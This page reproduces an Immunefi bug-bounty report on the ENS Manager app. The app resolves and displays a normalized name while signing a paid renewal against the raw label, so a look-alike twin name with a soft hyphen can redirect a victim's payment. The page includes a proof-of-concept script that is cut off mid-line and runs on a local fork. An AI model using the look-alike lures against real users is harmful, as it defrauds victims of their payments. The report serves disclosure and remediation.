Skip to content
Business logic Audit finding Advanced

Renewal flow signs a paid transaction against a different ENS name than the one it resolves, gates and displays

The Manager app's renewal route derives two different ENS names from one URL parameter: reads use ENSIP-15 normalization while the signed renew() calldata uses a raw label that only gets trimmed and lowercased. An attacker can register a visually identical twin label (e.g. with a trailing soft hyphen) and send the victim a link so their payment extends the attacker's registration instead of their own.

Naveen0x Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

93084 w a critical renewal flow signs a paid transaction against a different ens name than the one it resolves gates and displays

Submitted on Sep 14th 2026 at 07:43:30 UTC by @Naveen0x for Audit Competition | ENS

  • Report ID: #93084
  • Report Type: Websites & Apps
  • Report severity: Critical
  • Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/manager
  • Impacts:
    • Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient, such as: - resolving or rendering an ENS name to an attacker-controlled address - showing the wrong recipient or amount on a transaction the user then approves

Description

Brief/Intro

Everything needed to judge this report is contained in it. The source excerpts the argument depends on are quoted inline, the full proof of concept is included below, and so is its output and the environment it ran in. No attachments.

Summary

The Manager app's renewal route derives two different ENS names from one URL parameter. The reads go through ENSIP-15 normalization. The write does not.

/renew/$name hands the raw route parameter to parseName, whose entire normalization is trim().toLowerCase() plus an ASCII punctuation blocklist. That raw label is what ends up in the renew() calldata and in the price query. In the same loader, the parameter is separately normalized before expiry and ownership are read from chain. When those two forms disagree, the app resolves, gates, prices and displays one node while signing a paid transaction against another.

An attacker who registers a label that normalizes onto the victim's label, for instance the victim's name with a trailing soft hyphen (U+00AD), can send that victim a link that reads as their own name. The victim sees their own name, their own real expiry date, and no warning. They approve. Their payment extends the attacker's registration by a year. Their own name is untouched. The app then tells them the renewal succeeded and shows an expiry date that is not true of any name they own.

This is measured on a fork rather than inferred. The victim's expiry moves by 0 seconds and the attacker's by exactly the 31,536,000 purchased, read from the same registry the app itself reads.

Affected code

Component: apps/manager (Manager app), renewal flow. Entry points are /renew/$name and the /$name profile route that links into it.

normalize from viem/ens is imported in exactly two files in the whole Manager app, profile/service/profileName.ts:1 and profile/service/setPrimaryName.ts:28. Every other name path goes through a homegrown parser.

The parser, at apps/manager/src/features/register-v2/utils/name-parser.ts:

TS
// :11
const INVALID_LABEL_CHARS = /[&*@#$%^()[\]{}|\\:;"'<>?,=+~`!]/

// :46
const normalized = name.trim().toLowerCase()

toLowerCase() performs no UTS-46 mapping, no NFC composition, no label-extension check and no underscore-placement check. The character filter is an ASCII punctuation blocklist. The second validator, validateENSName at shared/registration/nameUtils.ts:90-143, repeats that same blocklist at line 132 and adds a three-code-point minimum at 124-130. Nothing on either path consults ENSIP-15.

A label containing a NUL byte passes both of the Manager's real validators.

The other files this report touches:

  • apps/manager/src/routes/renew/$name.tsx, the loader where the split happens.
  • apps/manager/src/features/renew/utils/renewableName.ts:25-36, which returns the raw label untouched.
  • apps/manager/src/features/renew/utils/thirdPartyRenewalWarning.ts:1-3, the suppressed consent gate.
  • apps/manager/src/features/profile/service/profileOwner.ts:25,55-58, the normalizing ownership read that answers that gate.
  • apps/manager/src/features/profile/service/profileExpiry.ts:54-57,77,104-110, the normalizing expiry read.
  • packages/transaction-manager/.../registration.actors.ts:1020-1031, which encodes the calldata.
  • PricingSummaryCard.tsx:10,17-22,28,39,42, the pre-signature display.
  • RenewalDetails.tsx:15,23-32,50,69,105-108 and RenewalCompletionBanner.tsx:13,16, the post-transaction confirmation.

The same missing normalization is present on /register/$name, recorded as an appendix with no severity claimed.

Root cause

The loader derives two names from one parameter

In apps/manager/src/routes/renew/$name.tsx, line 20 calls parseRenewableName(name), which calls parseName and produces the raw label. Lines 26 to 28 call profileExpiryQuery(name), which reads expiry for the normalized name. Line 52 passes the raw label and the normalized expiry together into canRenewV2Name(name, expiryDate). Lines 60 to 63 then return both from the same loader:

TS
return { label: parsedName.value.label, currentExpiry: expiryData.expiry }

profileExpiry.ts:77 calls normalizeEth2LdName(name) and lines 104 to 110 read the registry with that normalized name, so currentExpiry belongs to the victim's real name. renewableName.ts:25-36 returns parseName's label untouched, so label belongs to the attacker's twin. RenewalPage.tsx:22-26 hands both to the same UI context at renewalUi.context.tsx:54, and from there every screen and the state machine take whichever they need.

The first screen renders one of them while pricing the other. PricingSummaryCard.tsx:10 takes currentExpiry from that context, lines 17 to 22 add the selected duration with getDurationExpiryDateForDisplay, and lines 28, 39 and 42 render "Renewing for expiring on ". That sentence is true of the victim's name and of nothing else on the page, and it is on screen at the moment the victim decides.

From there the raw label is never reconciled with anything. ConfirmPurchase.tsx:14 takes label from the renewal context, line 22 prices that raw label, and lines 63 to 72 send it into the machine as renewal.start. renewalUi.machine.ts:148-159 stores it as submissionData.label and lines 346 to 355 pass it to submitRenewal. It arrives here, at registration.actors.ts:1020-1031:

TS
function encodeRenewData(
  label: string,
  duration: bigint,
  paymentToken: Address,
): Hash {
  const cleanLabel = label.replace('.eth', '')
  return encodeFunctionData({
    abi: ethRegistrarRenewSnippet,
    functionName: 'renew',
    args: [cleanLabel, duration, paymentToken, REFERER_ADDRESS],
  })
}

There is no normalize() call anywhere on that path.

The consent gate is answered about the wrong name

This is the part that convinced me the project already treats this distinction as consequential.

The Manager ships an interstitial for exactly the situation of paying to extend somebody else's registration. From ThirdPartyRenewalDialog.tsx:64-70:

Renewing this name will add time to the current owner's registration. You won't gain ownership of the name, but you will make someone's day.

It is gated on one predicate. This is renew/utils/thirdPartyRenewalWarning.ts:1-3 in full:

TS
export const shouldShowThirdPartyRenewalWarning = (
  isOwner: boolean | undefined,
) => isOwner === false

ProfileRenewAction.tsx:66-78 renders the dialog when that returns true, and lines 80 to 88 render a plain link straight into the paid flow when it does not.

isOwner comes from the normalizing read. ProfileView.tsx:99-101 calls profileOwnerQuery(name). profileOwner.ts:25 normalizes before anything else:

TS
const ethName = normalizeEthName(params.name)

Lines 55 to 58 then read ownership for that normalized name. ProfileView.tsx:119 compares the result against the connected wallet to produce isOwner, line 152 resolves it, line 230 hands it to ProfileActions.

So on the twin's profile page the ownership read returns the victim's ownership of their own real name, isOwner is true, shouldShowThirdPartyRenewalWarning returns false, and the one screen whose entire job is to say "you will not gain ownership of this name" never renders. The plain link rendered in its place carries the raw route parameter straight through, since ProfileRenewAction.tsx:83 passes params={{ name }}, so the twin reaches /renew/$name untouched. The consent gate and the money point at different names.

One limit on this argument, stated before someone else states it for me. The dialog is a profile-page gate, not a renewal-route gate. A link sent straight to /renew/<anything> skips it for any name at all, mine or a stranger's, and I do not count that against this bug. My claim is narrower. On the profile route, which is the ordinary way a user reaches renewal and the link I would send, the gate is not skipped. It is evaluated, and answered wrongly, because the question it asks is about a different name than the one the button will renew.

The success screen confirms a renewal that did not happen

SuccessStep.tsx:5-12 renders RenewalCompletionBanner and then RenewalDetails. The banner strings, at RenewalCompletionBanner.tsx:13 and :16, are "Renewal Complete!" and "The ENS domain has been successfully renewed."

RenewalDetails.tsx:50 renders the name from the raw label:

TSX
domainName={`${submissionData.label}.eth`}

Lines 23 to 32 compute the date from the victim's expiry:

TS
expirationDate = getDurationExpiryDateForDisplay(
  Number(submissionData.duration),
  new Date(Number(currentExpiry) * 1000),
)

Lines 105 to 108 render that as the Expires date. Line 69 uses the same currentExpiry as the reference date for the Renewal Period label, so that line is wrong in the same way.

The result is a success screen that names the attacker's label and dates it from the victim's name. In the run below, the victim's real expiry does not move at all and the screen reports an expiry a year out. This is the strongest single fact in the report, and it is measured rather than argued.

Attack scenario

  1. The attacker registers the victim's label with a soft hyphen appended. U+00AD renders as nothing, so the name is visually identical. ENSIP-15 normalization maps it back to the victim's label. labelhash does not.
  2. The attacker sends the owner of the real name a link. Two targets work. The profile route is where the app decides whether to show its third-party renewal consent dialog. The /renew/ route drops straight into the paid flow. I use the profile link, because that is the path where the app's own guard is the thing that fails.
  3. The loader parses the raw parameter for the label it will transact with, and separately normalizes it for the expiry read. The expiry read lands on the victim's real name. Every eligibility gate passes. Before the signature, the pricing screen renders a renewal date computed from the victim's genuine on-chain expiry, while the price beside it and the calldata behind the button are for the attacker's label.
  4. The victim approves. Their payment extends the attacker's name by a year. Their own name's expiry does not move.
  5. The success screen confirms the renewal, shows the raw twin label, and shows an Expires date computed from the victim's real expiry plus the purchased duration, asserted about a name whose expiry did not change.

Proof of Concept

Proof of Concept

Environment used for the proof of concept

Everything ran against a local anvil fork of Sepolia at chain id 11155111. No deployed ENS asset was contacted.

Node 22.18 or later is required, because the script relies on native TypeScript type stripping to import the app's own modules. My run was on Node v26.5.0. The script must sit in apps/manager/ so that the repository's pinned viem, @ensdomains/ensjs and date-fns, and the app's own source, all resolve from there.

Contracts read and written, all on the fork:

  • ETHRegistrar: 0xa88553F454b77203B0D036A05c894d555EAAa2Cc
  • Payment token (USDC): 0x768F42455A2D082E23ceeF7d51e5787C82d67a39
  • Resolver used at registration: 0x640294a2b2d87e7f522db3e3e3e876764bce170d
  • Registry: resolved through getChainContractAddress({ chain, contract: 'ensRegistry' }), which is the same registry the app reads expiry from at profileExpiry.ts:54-57

Accounts: the attacker is anvil's first default account, and the victim is index 2 of the standard anvil test mnemonic. Both are funded and both approve the registrar for the payment token in the harness. The script clears any EIP-7702 delegation squatted on those addresses on the forked chain first, because such a delegation reverts inside onERC1155Received and would otherwise break registration for reasons unrelated to this bug.

Duration in every case is one year, 31,536,000 seconds.

One point about what the script does and does not stub. It imports the real in-scope exports rather than transcribed copies: parseName, validateENSName, parseRenewableName, canRenewV2Name, shouldShowThirdPartyRenewalWarning, normalizeEth2LdName, getDurationExpiryDateForDisplay, and the Explorer's isValidEnsName. The two module hooks at the top supply only what a bundler would supply, namely the @/* alias from tsconfig.json and vitest.config.ts, extensionless specifiers, and a null stand-in for the .tsx icon module that nameUtils.ts imports but never calls, since Node cannot strip JSX. No logic under test is stubbed. I chose this over transcribing the functions so that a reviewer is checking the shipped code rather than my copy of it.

To run it:

  1. anvil --fork-url <sepolia-rpc> --chain-id 11155111
  2. Save the script below as poc.mjs in apps/manager/
  3. node poc.mjs

POC

JavaScript
/**
 * PoC — Manager renewal: the app resolves, gates and displays one ENS node and
 *       signs a paid `renew()` against a different one.
 *
 * SETUP
 *   1. anvil --fork-url <sepolia-rpc> --chain-id 11155111
 *   2. Place this file in apps/manager/ (the repo's pinned viem, @ensdomains/ensjs,
 *      date-fns and the app's own source all resolve from there)
 *   3. node poc.mjs            (Node >= 22.18 — native TypeScript type stripping)
 *
 * PART 1  offline, run against the REAL in-scope apps/manager exports
 * PART 2  on chain, with a before/after expiry control on BOTH names
 * PART 3  appendix, no severity claimed
 */
import { readFileSync } from 'node:fs'
import { registerHooks } from 'node:module'
import { fileURLToPath, pathToFileURL } from 'node:url'

// ---------------------------------------------------------------------------
// Load the application's own modules — no transcription. Node strips the types;
// these two hooks only supply what a bundler would normally supply:
//   resolve: the `@/*` -> `src/*` alias from tsconfig.json / vitest.config.ts,
//            and extensionless / `.js`-spelled TypeScript specifiers
//   load:    a null stand-in for `.tsx` React components that a validator module
//            imports but never calls (nameUtils.ts -> StableCoinsIcons.tsx).
//            Node cannot strip JSX. No logic under test is stubbed.
// ---------------------------------------------------------------------------
const SRC = pathToFileURL(`${process.cwd()}/src/`).href
registerHooks({
  resolve(spec, ctx, next) {
    const cands = []
    const push = (s) =>
      cands.push(s, s.replace(/\.js$/, '.ts'), `${s}.ts`, `${s}.tsx`, `${s}/index.ts`)
    if (spec.startsWith('@/')) push(SRC + spec.slice(2))
    else push(spec)
    let lastErr
    for (const c of cands) {
      try { return next(c, ctx) } catch (e) { lastErr = e }
    }
    throw lastErr
  },
  load(url, ctx, next) {
    if (url.endsWith('.tsx')) {
      const src = readFileSync(fileURLToPath(url), 'utf8')
      const names = [...src.matchAll(/^export\s+(?:const|function|class)\s+([A-Za-z0-9_$]+)/gm)]
      const body = names.map(([, n]) => `export const ${n} = () => null;`).join('\n')
      return { format: 'module', shortCircuit: true, source: `${body}\nexport default null;\n` }
    }
    return next(url, ctx)
  },
})

// ===== the real, in-scope apps/manager exports =============================
const { parseName } =
  await import('./src/features/register-v2/utils/name-parser.ts')
const { validateENSName } =
  await import('./src/features/shared/registration/nameUtils.ts')
const { parseRenewableName, canRenewV2Name } =
  await import('./src/features/renew/utils/renewableName.ts')
const { shouldShowThirdPartyRenewalWarning } =
  await import('./src/features/renew/utils/thirdPartyRenewalWarning.ts')
const { normalizeEth2LdName } =
  await import('./src/features/profile/service/profileName.ts')
const { getDurationExpiryDateForDisplay } =
  await import('./src/features/register-v2/utils/time.ts')
// the Explorer's validator, for contrast (apps/portal, also in scope)
const { isValidEnsName } =
  await import('../portal/src/utils/token/isNormalized.ts')

const {
  createPublicClient, createWalletClient, http, encodeFunctionData, parseAbi, labelhash,
} = await import('viem')
const { privateKeyToAccount, mnemonicToAccount } = await import('viem/accounts')
const { sepolia } = await import('viem/chains')
const { normalize } = await import('viem/ens')
const { extendChainWithEns, getChainContractAddress } = await import('@ensdomains/ensjs/chain')
const { getOwner: getOwnerV2 } = await import('@ensdomains/ensjs/public/v2')
const { format } = await import('date-fns')

const cp = (n) => String.fromCodePoint(n)
const esc = (s) => {
  if (s == null) return String(s)
  let out = ''
  for (const ch of String(s)) {
    const c = ch.codePointAt(0)
    out += c >= 0x20 && c <= 0x7e ? ch : `\\u{${c.toString(16)}}`
  }
  return `"${out}"`
}
// the app's two validators, called exactly as the register/renew paths call them
const managerAccepts = (name) => parseName(name).isOk() && validateENSName(name) === null

// ===========================================================================
console.log('=== PART 1 — offline, against the REAL apps/manager exports ===\n')
// ===========================================================================

// --- 1.1 how wide the raw-vs-normalized divergence is ----------------------
// Each entry is tagged with the category a triager needs in order to decide
// whether it falls inside EXP-INPUT-005's enumeration ("homoglyphs,
// bidirectional-control and other control characters, and a single leading or
// trailing dot"). `ascii-structural` and `compat-mapping` fall outside it.
const corpus = new Map() // label -> category
const add = (label, cat) => { if (!corpus.has(label)) corpus.set(label, cat) }

// pure ASCII. ENSIP-15 underscore-placement and label-extension rules.
for (const s of ['fo_o', 'a_b_c', 'ab--cd', 'xn--a', '12--34', 'ab--']) add(s, 'ascii-structural')
// invisible / format / control characters
for (const n of [0x00ad, 0x200b, 0x200c, 0x200d, 0x2060, 0xfeff, 0xfe0f, 0xfe0e,
  0x034f, 0x180e, 0x061c, 0x200e, 0x200f, 0x202a, 0x202b, 0x202c, 0x202d, 0x202e,
  0x2066, 0x2067, 0x2068, 0x2069, 0x0000]) add(`ali${cp(n)}ce`, 'invisible/control')
// characters that LOOK like their ASCII target
for (const [from, to] of [['i', cp(0x0130)], ['l', cp(0x217c)], ['v', cp(0x2174)],
  ['o', cp(0x03bf)], ['e', cp(0x0435)], ['a', cp(0x0430)], ['i', cp(0x0131)]]) {
  if ('alice'.includes(from)) add('alice'.replace(from, to), 'homoglyph')
  add(to + 'alice', 'homoglyph')
}
// characters that DO NOT look like their ASCII target but normalization maps
// onto it anyway: fullwidth, circled, mathematical-bold, ligatures, long s.
for (const [from, to] of [['a', cp(0xff41)], ['c', cp(0xff43)], ['s', cp(0x017f)]]) {
  if ('alice'.includes(from)) add('alice'.replace(from, to), 'compat-mapping')
  add(to + 'alice', 'compat-mapping')
}
for (const n of [0x2460, 0x24b6, 0x1d400, 0x1d41a, 0x0132, 0xfb00]) {
  add(cp(n) + 'alice', 'compat-mapping')
}

const classA = [] // accepted, but ENSIP-15 rejects the label outright
const classB = [] // accepted, but ENSIP-15 maps it onto a DIFFERENT label
for (const [label, cat] of corpus) {
  const input = `${label}.eth`
  const parsed = parseName(input)
  if (parsed.isErr() || validateENSName(input) !== null) continue // Manager rejects it
  const writes = parsed.value.label
  let norm
  try { norm = normalize(input).split('.')[0] }
  catch { classA.push({ label, cat, writes, portalRejects: !isValidEnsName(input) }); continue }
  if (writes !== norm) classB.push({ label, cat, writes, norm, portalRejects: !isValidEnsName(input) })
}
const all = [...classA, ...classB]

console.log(`corpus: ${corpus.size}   accepted-and-divergent: ${all.length}\n`)
console.log(`CLASS A - buys a name no conformant client can resolve: ${classA.length}`)
for (const r of classA) console.log(`   ${esc(r.label).padEnd(30)} registers ${esc(r.writes)}`)
console.log(`\nCLASS B - transacts on a different node than displayed: ${classB.length}`)
for (const r of classB) {
  console.log(`   ${esc(r.label).padEnd(26)} registers ${esc(r.writes).padEnd(26)} displayed-as ${esc(r.norm)}`)
}
console.log(`\nOf these ${all.length}, the Explorer's validator would have rejected ` +
  `${all.filter((r) => r.portalRejects).length}.`)

const byCat = {}
for (const r of all) byCat[r.cat] = (byCat[r.cat] ?? 0) + 1
console.log('\nBy input category (which of these are inside EXP-INPUT-005\'s enumeration?):')
for (const [cat, n] of Object.entries(byCat)) console.log(`   ${cat.padEnd(20)} ${n}`)
const outside = all.filter((r) => r.cat === 'ascii-structural' || r.cat === 'compat-mapping')
console.log(`   -> ${outside.length} of ${all.length} are neither homoglyphs, nor bidirectional-control`)
console.log('      or other control characters, nor a leading/trailing dot.')

// --- 1.2 the renewal twin, through the real route-loader functions ---------
console.log('\n\n--- 1.2 renew/$name loader, real functions, on the twin ---\n')
const VLABEL = 'victim'
const TWIN = `victim${cp(0x00ad)}` // U+00AD SOFT HYPHEN: renders as nothing
const twinName = `${TWIN}.eth`
const farFuture = new Date(Date.now() + 200 * 86400_000)
console.log(`  route param                              ${esc(twinName)}`)
console.log(`  parseRenewableName(param).label      ->  ${esc(parseRenewableName(twinName)._unsafeUnwrap().label)}   <- RAW, goes to renew() calldata`)
console.log(`  normalizeEth2LdName(param).name      ->  ${esc(normalizeEth2LdName(twinName).name)}   <- NORMALIZED, what the expiry read + display use`)
console.log(`  canRenewV2Name(param, expiry)        ->  ${canRenewV2Name(twinName, farFuture)}   <- eligibility gate passes`)
console.log(`  labelhash(raw)    ${labelhash(TWIN)}`)
console.log(`  labelhash(normal) ${labelhash(VLABEL)}`)

// --- 1.3 the consent gate the project itself shipped ----------------------
console.log('\n--- 1.3 ThirdPartyRenewalDialog consent gate ---\n')
console.log(`  shouldShowThirdPartyRenewalWarning(false) -> ${shouldShowThirdPartyRenewalWarning(false)}  (dialog shown: "You won't gain ownership of the name")`)
console.log(`  shouldShowThirdPartyRenewalWarning(true)  -> ${shouldShowThirdPartyRenewalWarning(true)}  (no dialog, plain link straight into the paid flow)`)
console.log('  isOwner is derived from profileOwner.ts getOwner(), which normalizes first')
console.log('  (profileOwner.ts:25). On the twin\'s page that read returns the VICTIM\'s own')
console.log('  ownership, so isOwner === true and the interstitial never renders. (code-traced)')

// ===========================================================================
console.log('\n\n=== PART 2 — on chain ===\n')
// ===========================================================================
const RPC = process.env.RPC_URL ?? 'http://127.0.0.1:8545'
const chain = extendChainWithEns(sepolia)
const pub = createPublicClient({ chain, transport: http(RPC) })

const attacker = privateKeyToAccount('0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80')
const victim = mnemonicToAccount('test test test test test test test test test test test junk', { addressIndex: 2 })

const REG = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc'
const USDC = '0x768F42455A2D082E23ceeF7d51e5787C82d67a39'
const RES = '0x640294a2b2d87e7f522db3e3e3e876764bce170d'
const ZERO = '0x0000000000000000000000000000000000000000'
const ZH = `0x${'00'.repeat(32)}`
// the same registry the app reads expiry from (profileExpiry.ts:54-57)
const REGISTRY = getChainContractAddress({ chain, contract: 'ensRegistry' })

const regAbi = parseAbi([
  'function makeCommitment(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, bytes32 referrer) pure returns (bytes32)',
  'function commit(bytes32 commitment)',
  'function isAvailable(string label) view returns (bool)',
  'function getRenewPrice(string label, uint64 duration, address paymentToken) view returns (uint256)',
  'function register(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, address paymentToken, bytes32 referrer) returns (uint256)',
  'function renew(string label, uint64 duration, address paymentToken, bytes32 referrer)',
])
const registryAbi = parseAbi(['function getExpiry(uint256 id) view returns (uint64)'])
const tokAbi = parseAbi([
  'function mint(address to,uint256 amount)',
  'function approve(address spender,uint256 amount) returns (bool)',
  'function balanceOf(address) view returns (uint256)',
])

const rpc = (m, p) => fetch(RPC, {
  method: 'POST', headers: { 'content-type': 'application/json' },
  body: JSON.stringify({ jsonrpc: '2.0', id: 1, method: m, params: p }),
}).then((r) => r.json())
const wc = (a) => createWalletClient({ account: a, chain, transport: http(RPC) })
const send = async (w, to, data) => {
  const h = await w.sendTransaction({ to, data })
  const r = await pub.waitForTransactionReceipt({ hash: h })
  if (r.status !== 'success') throw new Error('reverted')
  return r
}
const prep = async (acct) => {
  // anvil forks inherit EIP-7702 delegations squatted on the test accounts;
  // they revert inside onERC1155Received. Clear them.
  await rpc('anvil_setCode', [acct.address, '0x'])
  await rpc('anvil_setBalance', [acct.address, `0x${(10n ** 20n).toString(16)}`])
  await send(wc(attacker), USDC, encodeFunctionData({ abi: tokAbi, functionName: 'mint', args: [acct.address, 50_000_000_000n] }))
  await send(wc(acct), USDC, encodeFunctionData({ abi: tokAbi, functionName: 'approve', args: [REG, 50_000_000_000n] }))
}
const DUR = 31536000n
const register = async (acct, label) => {
  const secret = `0x${'33'.repeat(32)}`
  const cm = await pub.readContract({ address: REG, abi: regAbi, functionName: 'makeCommitment', args: [label, acct.address, secret, ZERO, RES, DUR, ZH] })
  await send(wc(acct), REG, encodeFunctionData({ abi: regAbi, functionName: 'commit', args: [cm] }))
  await rpc('evm_increaseTime', [90]); await rpc('evm_mine', [])
  await send(wc(acct), REG, encodeFunctionData({ abi: regAbi, functionName: 'register', args: [label, acct.address, secret, ZERO, RES, DUR, USDC, ZH] }))
}
// expiry exactly as the app reads it: registry.getExpiry(uint256(labelhash(label)))
const expiryOf = async (label) => pub.readContract({
  address: REGISTRY, abi: registryAbi, functionName: 'getExpiry', args: [BigInt(labelhash(label))],
})
const asDate = (secs) => (secs === 0n ? 'not registered' : new Date(Number(secs) * 1000).toISOString())

await prep(attacker); await prep(victim)
const SUF = String(Math.floor(Math.random() * 1e6))
const BASE = `renewdemo${SUF}`              // the victim's real name
const IMPOSTOR = `${BASE}${cp(0x00ad)}`     // the attacker's twin

console.log(`  victim name  : ${JSON.stringify(`${BASE}.eth`)}`)
console.log(`  attacker name: ${esc(`${IMPOSTOR}.eth`)}   (renders identically)`)
console.log(`  normalize(attacker name) -> ${JSON.stringify(normalize(`${IMPOSTOR}.eth`))}`)
console.log(`  labelhash differ: ${labelhash(BASE)} vs ${labelhash(IMPOSTOR)}\n`)

await register(victim, BASE)
await register(attacker, IMPOSTOR)

// --- what the app has in hand when the victim opens /renew/<twin>.eth ------
const loaderLabel = parseRenewableName(`${IMPOSTOR}.eth`)._unsafeUnwrap().label
const loaderExpiry = await expiryOf(normalizeEth2LdName(`${IMPOSTOR}.eth`).label)
console.log('  /renew/$name loader output (real functions + real chain reads):')
console.log(`    label        = ${esc(loaderLabel)}                 -> renew() calldata`)
console.log(`    currentExpiry= ${loaderExpiry} (${asDate(loaderExpiry)})  <- the VICTIM's name\n`)

// --- BEFORE ---------------------------------------------------------------
const vBefore = await expiryOf(BASE)
const aBefore = await expiryOf(IMPOSTOR)
const balBefore = await pub.readContract({ address: USDC, abi: tokAbi, functionName: 'balanceOf', args: [victim.address] })
console.log('  BEFORE')
console.log(`    victim   ${esc(`${BASE}.eth`)} expiry ${vBefore} (${asDate(vBefore)})`)
console.log(`    attacker ${esc(`${IMPOSTOR}.eth`)} expiry ${aBefore} (${asDate(aBefore)})`)

// --- what the app shows BEFORE the signature ------------------------------
// PricingSummaryCard.tsx:10  currentExpiry, straight from the renewal context
//                      :17-22 getDurationExpiryDateForDisplay(duration, that expiry)
//                      :28/:39/:42  "Renewing for <duration> expiring on <date>"
const shownPre = getDurationExpiryDateForDisplay(
  Number(DUR),
  new Date(Number(loaderExpiry) * 1000),
)
console.log('\n  PRICING SCREEN, BEFORE THE SIGNATURE (the app\'s own function, the app\'s own inputs):')
console.log(`    "Renewing for <1 year> expiring on ${format(shownPre, 'MMMM d, yyyy')}"  <- from the VICTIM's expiry`)
console.log(`    price + calldata on the same screen use label ${esc(loaderLabel)}  <- the ATTACKER's registration`)

// --- the victim signs -----------------------------------------------------
let outcome
let price = 0n
try {
  price = await pub.readContract({ address: REG, abi: regAbi, functionNa

The original report as published on Immunefi, by Naveen0x. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The renewal loader passes the raw route parameter into the renew() calldata and price query while separately normalizing it for expiry and ownership reads, so the two never reconcile.

Impact

The victim's payment extends the attacker's registration by a year while their own name's expiry does not move, and the app falsely confirms the renewal; the third-party consent dialog is also bypassed because ownership is checked against the normalized name.

What the attacker needed

Attacker registers a twin label; victim clicks a crafted link; victim approves the transaction

The fix

The renewal flow should normalize the route parameter with ENSIP-15 before building the renew() calldata, pricing, and display, so the name read, gated, priced and signed is the same one.

How it was found

  1. Attacker registers the victim's label with an invisible soft hyphen appended, which normalizes back to the victim's label.
  2. Attacker sends the victim a link to the twin's profile or renew route.
  3. The loader parses the raw parameter for the label to transact with, but normalizes it for the expiry read, so eligibility gates pass.
  4. The pricing screen shows a renewal date computed from the victim's real expiry while the price and calldata are for the attacker's label.
  5. The victim approves and their payment extends the attacker's registration by a year.
  6. The success screen confirms the renewal and shows an expiry date that is not true of any name the victim owns.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

ENS names are like usernames on a blockchain, and the app has to turn what you type into a canonical form before doing anything with it. Here the app checked one version of the name (the canonical one) but actually paid to renew a different, lookalike version. A soft hyphen is an invisible character, so the attacker's name looks identical to the victim's on screen.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Naveen0x

View all

10 more disclosed reports, best first.

More from ENS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.